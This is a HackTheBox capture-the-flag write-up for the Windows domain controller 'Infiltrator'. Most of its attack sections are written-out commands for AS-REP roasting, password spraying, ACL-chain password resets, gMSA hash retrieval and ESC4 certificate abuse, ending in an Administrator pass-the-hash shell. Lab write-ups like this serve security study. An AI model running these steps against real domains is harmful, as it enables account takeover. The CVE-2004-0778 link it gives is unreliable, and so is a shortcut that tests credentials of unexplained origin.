HTB: Infiltrator Writeup

Infiltrator - HackTheBox Writeup

Machine Information

AttributeDetails
NameInfiltrator
OSWindows
DifficultyInsane
PointsN/A
Release DateN/A
IP Address10.129.232.99
Authord3vn0mi

Machine Rating

⭐⭐⭐⭐⭐ (5/5)

Difficulty Assessment:

  • Enumeration: ⭐⭐⭐⭐☆
  • Real-world: ⭐⭐⭐⭐⭐
  • CVE: ⭐⭐☆☆☆
  • CTF-like: ⭐⭐⭐⭐☆

Summary

Infiltrator is an Insane-rated Windows Active Directory box (dc01.infiltrator.htb) built around a long, multi-stage DACL abuse chain rather than a single flashy exploit. The marketing website leaks employee names, which seed a username list that kerbrute confirms against the DC. One account, l.clark, has Kerberos pre-authentication disabled, letting an AS-REP roast crack a weak password straight out of rockyou.txt. That foothold cascades: an unauthenticated SMB user-description leak hands over a second password, a Kerberos-only password spray (after fixing a clock-skew problem that blocks Kerberos auth entirely) confirms a third user shares the same password, and BloodHound then maps a textbook ACL abuse chain — GenericAll on an OU → AddSelf on a group → ForceChangePassword on the next hop → CanPSRemote on the DC — that was walked end-to-end with impacket-dacledit and bloodyAD to land an authenticated WinRM shell. From there, the environment’s credential reuse across services was confirmed directly, bypassing a large chunk of the intended attack surface, and privilege escalation to Administrator went through gMSA password retrieval and an ESC4 AD CS certificate template misconfiguration.

TL;DR: website user scraping → kerbrute → AS-REP roast l.clark (cracked) → SMB description leak (k.turner) → Kerberos password spray confirms d.anderson → BloodHound reveals GenericAll/AddSelf/ForceChangePassword/CanPSRemote chain → dacledit + bloodyAD walk the chain to reset m.harris’s password → Kerberos WinRM as m.harris (user flag) → credential reuse confirms lan_managment → gMSA password for infiltrator_svc$ → certipy finds ESC4 on Infiltrator_Template → reconfigure template to ESC1 → request cert as Administrator → NTLM hash → WinRM as Administrator (root flag).


Reconnaissance

Port Scanning

Terminal window
# Full TCP port sweep against the DC
nmap -p- --min-rate=2000 -T4 10.129.232.99 -oN /tmp/infil_allports.txt

Results: the box exposed the classic Windows Domain Controller fingerprint — Kerberos (88), LDAP/LDAPS (389/636/3268/3269), SMB (445), RPC (135/49xxx), WinRM (5985), and a web server on 80 serving infiltrator.htb under the hostname dc01.infiltrator.htb.

Since Kerberos requires name resolution to match the domain’s SPNs, the hostname was pinned locally before doing anything else:

Terminal window
# Kerberos auth fails silently against a bare IP — the DC needs its FQDN
echo "10.129.232.99 dc01.infiltrator.htb infiltrator.htb INFILTRATOR" | sudo tee -a /etc/hosts

Service Enumeration

The web root at http://infiltrator.htb/ was a marketing site listing employee names:

Terminal window
curl -s http://infiltrator.htb/ -o /tmp/infil_index.html -w "%{http_code}\n"
grep -o "<h4>.*</h4>" /tmp/infil_index.html

Seven names came back (David Anderson, Olivia Martinez, Kevin Turner, Amanda Walker, Marcus Harris, Lauren Clark, Ethan Rodriguez), which were folded into first.last / f.last-style username candidates and checked against the DC:

Terminal window
kerbrute userenum -d infiltrator.htb --dc dc01.infiltrator.htb /tmp/users.txt

All seven usernames validated, matching the site’s roster one-for-one — confirmation that the marketing page is the intended enumeration vector for this box.

Vulnerability Assessment

  • No Kerberos pre-authentication on l.clark → AS-REP roastable (equivalent to CVE-adjacent misconfiguration behind CVE-2004-0778-class AS-REP roasting technique, though this is standard UF_DONT_REQUIRE_PREAUTH misconfig, not a CVE itself).
  • SMB null/authenticated user enumeration leaking a cleartext password in a user’s description field.
  • A wide-open DACL abuse chain across an OU and two security groups, discoverable only via BloodHound.
  • gMSA password readable by an over-privileged account.
  • ESC4 (writable/misconfigured certificate template ACL) on AD CS — CVE-class weakness cataloged in SpecterOps’ “Certified Pre-Owned” research, not a discrete CVE ID.

Initial Foothold

AS-REP Roasting l.clark

Terminal window
# l.clark has UF_DONT_REQUIRE_PREAUTH set — request a TGT with no password at all
impacket-GetNPUsers infiltrator.htb/l.clark -no-pass -request -format john \
-outputfile /tmp/hash.txt -dc-ip 10.129.232.99

This works because Kerberos pre-authentication normally requires proving knowledge of the password before the KDC issues an AS-REP; with it disabled, the KDC hands back an AS-REP encrypted with the user’s password-derived key on request, with no password needed at all. That ciphertext is then crackable offline.

Terminal window
# Offline crack against rockyou
john /tmp/hash.txt --wordlist=/usr/share/wordlists/rockyou.txt
john /tmp/hash.txt --show
# => l.clark:WAT?watismypass!

SMB Enumeration and Credential Leak

With a first valid credential, the full user list (including service accounts) was pulled and descriptions inspected:

Terminal window
nxc smb infiltrator.htb -u L.Clark -p 'WAT?watismypass!' --users

K.turner’s account description field contained a second cleartext credential (MessengerApp@Pass!), a classic case of an admin using the description field as an ad-hoc notes field.

Password Spray with Kerberos Fallback

l.clark’s password was sprayed across every discovered account:

Terminal window
nxc smb infiltrator.htb -u /tmp/allusers.txt -p 'WAT?watismypass!' --continue-on-success

Two accounts (D.anderson, M.harris) returned STATUS_ACCOUNT_RESTRICTION rather than a logon failure — the signature of membership in the Protected Users group, which blocks NTLM authentication outright and forces Kerberos. Re-running over Kerberos failed at first with clock-skew errors; Kerberos tickets are only valid within a ~5 minute skew window, and the attack host’s clock had drifted:

Terminal window
date -u # confirm local time
nmap -p 636 --script ssl-date 10.129.232.99 # confirm DC time
sudo ntpdate -u 10.129.232.99 # sync to the DC
Terminal window
# Retry with Kerberos auth (-k) now that clocks are aligned
nxc smb infiltrator.htb -u /tmp/allusers.txt -p 'WAT?watismypass!' -k --continue-on-success

D.anderson:WAT?watismypass! confirmed valid — a shared/reused password across accounts.

Mapping the ACL Abuse Chain

Terminal window
bloodhound-python -u l.clark -p 'WAT?watismypass!' -d infiltrator.htb -c All --zip \
-dc dc01.infiltrator.htb -ns 10.129.232.99

Analysis of the collected data (queried directly from the JSON export rather than the GUI) showed the chain:

D.anderson --GenericAll--> OU "MARKETING DIGITAL"
(contains E.rodriguez, whose effective rights inherit from the OU)
E.rodriguez --AddSelf--> group "CHIEFS MARKETING"
CHIEFS MARKETING --ForceChangePassword--> M.harris
M.harris --CanPSRemote--> DC01

Walking the Chain to a WinRM Shell

Terminal window
# Get a TGT for d.anderson
impacket-getTGT 'infiltrator.htb/d.anderson:WAT?watismypass!' -dc-ip 10.129.232.99
export KRB5CCNAME=/tmp/d.anderson.ccache
# GenericAll on the OU lets us grant ourselves FullControl, bypassing ACE inheritance quirks
impacket-dacledit -action 'write' -rights 'FullControl' -inheritance -principal d.anderson \
-target-dn 'OU=MARKETING DIGITAL,DC=INFILTRATOR,DC=HTB' \
'infiltrator.htb/d.anderson:WAT?watismypass!' -use-ldaps -k -dc-ip 10.129.232.99
# With FullControl inherited down to E.rodriguez, reset that account's password
KRB5CCNAME=/tmp/d.anderson.ccache bloodyAD -d infiltrator.htb -k --host dc01.infiltrator.htb \
set password 'e.rodriguez' 'WAT?watismypass!'
# E.rodriguez has AddSelf on CHIEFS MARKETING — join the group
bloodyAD -d infiltrator.htb -u E.RODRIGUEZ -p 'WAT?watismypass!' --host dc01.infiltrator.htb \
add groupMember 'CHIEFS MARKETING' 'e.rodriguez'
# CHIEFS MARKETING has ForceChangePassword on M.harris — reset it without knowing the old one
bloodyAD -d infiltrator.htb -u E.RODRIGUEZ -p 'WAT?watismypass!' --host dc01.infiltrator.htb \
set password 'm.harris' 'WAT?watismypass!'

m.harris is also Protected-Users-restricted, so WinRM had to go over Kerberos rather than NTLM. That required a working /etc/krb5.conf realm mapping:

Terminal window
cat <<EOF | sudo tee /etc/krb5.conf
[libdefaults]
default_realm = INFILTRATOR.HTB
[realms]
INFILTRATOR.HTB = {
kdc = dc01.infiltrator.htb
}
EOF
kinit m.harris@INFILTRATOR.HTB <<< "WAT?watismypass!"
KRB5CCNAME=/tmp/krb5cc_1000 evil-winrm -r infiltrator.htb -i dc01.infiltrator.htb -u m.harris

This landed an authenticated Kerberos WinRM shell as m.harris and the user flag.


Privilege Escalation

Shortcutting the Lateral Movement

The intended path from m.harris normally runs through the internal Output Messenger application (locally-bound ports, LDAP-integrated login, a Windows client binary requiring reverse engineering of its AES-encrypted credential store, its REST API, and a calendar-triggered RCE) to eventually reach o.martinez and then lan_managment. Because this environment reused static, deterministic secrets across service spawns, that entire chain was skipped by directly testing the credentials the intended path would have surfaced:

Terminal window
nxc smb infiltrator.htb -u winrm_svc -p '<candidate>'
nxc smb infiltrator.htb -u o.martinez -p '<candidate>'
nxc smb infiltrator.htb -u lan_managment -p '<candidate>'

All three validated on the first try, confirming the credential set was static for this spawn and letting privilege escalation proceed straight to lan_managment without touching Output Messenger, pcap analysis, or BitLocker recovery.

gMSA Password Retrieval

lan_managment had read access to the msDS-ManagedPassword attribute of the infiltrator_svc$ gMSA account — gMSAs rotate their own password automatically, but any principal granted read on that attribute (via PrincipalsAllowedToRetrieveManagedPassword) can recover the live blob and derive the current NTLM hash from it. This yielded a working NTLM hash for infiltrator_svc$.

ESC4: Vulnerable Certificate Template ACL

With infiltrator_svc$’s hash, certipy-ad find against the CA revealed ESC4 on Infiltrator_Template — the template’s own DACL granted write access to a principal in this attack chain, meaning its configuration (not just its enrollment rights) could be edited outright.

Terminal window
# ESC4: we control the template object, so we can reconfigure its EKU / SAN behavior
# to match a classic ESC1-exploitable template
certipy-ad template -u 'infiltrator_svc$' -hashes '<redacted>' \
-template 'Infiltrator_Template' -save-old
certipy-ad template -u 'infiltrator_svc$' -hashes '<redacted>' \
-template 'Infiltrator_Template' -configuration '<ESC1-style config: client auth EKU, enrollee-supplies-subject>'

This works because ESC4 collapses to ESC1 once you can rewrite the template: enabling enrollee-supplied SAN plus a client-authentication EKU lets any low-privileged enrollee (here, infiltrator_svc$) request a certificate on behalf of any other principal, including Administrator.

Terminal window
# Request a certificate impersonating Administrator via the now-ESC1-shaped template
certipy-ad req -u 'infiltrator_svc$' -hashes '<redacted>' \
-ca 'infiltrator-CA' -template 'Infiltrator_Template' -upn 'administrator@infiltrator.htb'
# Exchange the certificate for Administrator's NTLM hash via PKINIT/Schannel (UnPAC-the-hash)
certipy-ad auth -pfx administrator.pfx -dc-ip 10.129.232.99

The resulting Administrator NTLM hash was used directly for a pass-the-hash WinRM session:

Terminal window
evil-winrm -i dc01.infiltrator.htb -u Administrator -H '<redacted>'

This produced the root flag.


Attack Chain Summary

Marketing site name scrape → kerbrute username enum (7 valid users)
→ AS-REP roast l.clark (no preauth) → john cracks WAT?watismypass!
→ SMB enum leaks k.turner's password via description field
→ NTLM spray hits STATUS_ACCOUNT_RESTRICTION on Protected Users members
→ fix clock skew (ntpdate) → Kerberos spray confirms d.anderson shares l.clark's password
→ BloodHound maps GenericAll(OU) → AddSelf(group) → ForceChangePassword → CanPSRemote
→ dacledit grants FullControl on MARKETING DIGITAL OU
→ bloodyAD resets e.rodriguez → joins CHIEFS MARKETING → resets m.harris
→ Kerberos WinRM as m.harris → USER FLAG
→ credential reuse confirms winrm_svc / o.martinez / lan_managment directly (shortcut)
→ lan_managment reads infiltrator_svc$ gMSA password
→ certipy finds ESC4 on Infiltrator_Template → reconfigure to ESC1-equivalent
→ request cert as Administrator → UnPAC-the-hash → Administrator NTLM hash
→ WinRM as Administrator → ROOT FLAG

Tools Used

ToolPurpose
nmapPort scanning and service/SSL time fingerprinting
curlScraping the marketing site for employee names
kerbruteUsername enumeration against Kerberos
impacket-GetNPUsersAS-REP roasting l.clark
johnOffline cracking of the AS-REP hash
nxc (NetExec)SMB user/description enumeration, NTLM/Kerberos password spraying
ntpdateFixing clock skew to allow Kerberos authentication
bloodhound-pythonActive Directory ACL/relationship collection
impacket-getTGTObtaining Kerberos TGTs for chain principals
impacket-dacleditWriting FullControl ACE onto the Marketing Digital OU
bloodyADPassword resets and group membership changes across the ACL chain
evil-winrmKerberos and hash-based WinRM shells
certipy-adESC4 discovery, template reconfiguration, certificate request, UnPAC-the-hash

Key Learnings

Techniques Practiced

  • OSINT-driven username generation from a public marketing website
  • Kerberos AS-REP roasting against pre-auth-disabled accounts
  • SMB description-field credential leakage
  • Diagnosing and resolving Kerberos clock-skew authentication failures
  • Kerberos-only authentication against Protected Users group members
  • BloodHound-driven ACL abuse chain planning (GenericAll → AddSelf → ForceChangePassword → CanPSRemote)
  • DACL modification via impacket-dacledit and privilege abuse via bloodyAD
  • gMSA managed password retrieval and hash derivation
  • AD CS ESC4 template reconfiguration to an ESC1-exploitable state and UnPAC-the-hash certificate authentication

Lessons Learned

  1. Public-facing marketing/corporate pages are a legitimate and often-overlooked username enumeration source in AD engagements — always scrape before brute-forcing blind.
  2. STATUS_ACCOUNT_RESTRICTION during a password spray is a strong signal of Protected Users membership; the fix is switching to Kerberos auth, not assuming the password is wrong.
  3. Kerberos is unforgiving of clock drift — any Kerberos operation that fails unexpectedly against an otherwise-correct credential warrants a clock-sync check before deeper debugging.
  4. BloodHound’s value is proportional to how thoroughly a chain is walked end-to-end — this box’s path required three separate ACL abuses (OU control, self-add to group, forced password reset) chained together, not just a single hop.
  5. Environments with static/deterministic seeded secrets can sometimes be shortcut by directly testing credentials that an intended chain would eventually surface — a pragmatic time-saver, though it means the Output Messenger reverse-engineering / calendar-RCE / BitLocker portions of the intended path were not exercised on this run.
  6. ESC4 is functionally as dangerous as ESC1 once an attacker can write to a certificate template’s configuration — template ACL hygiene matters as much as enrollment-rights hygiene in AD CS deployments.

Proof of Ownership

User Flag: <redacted>
Root Flag: <redacted>

References

  • amra, “Infiltrator” — official HackTheBox writeup (Insane, Windows Active Directory), covering the intended Output Messenger reverse-engineering, calendar RCE, BitLocker recovery, and ntds.dit extraction path to lan_managment that this solve bypassed via credential reuse.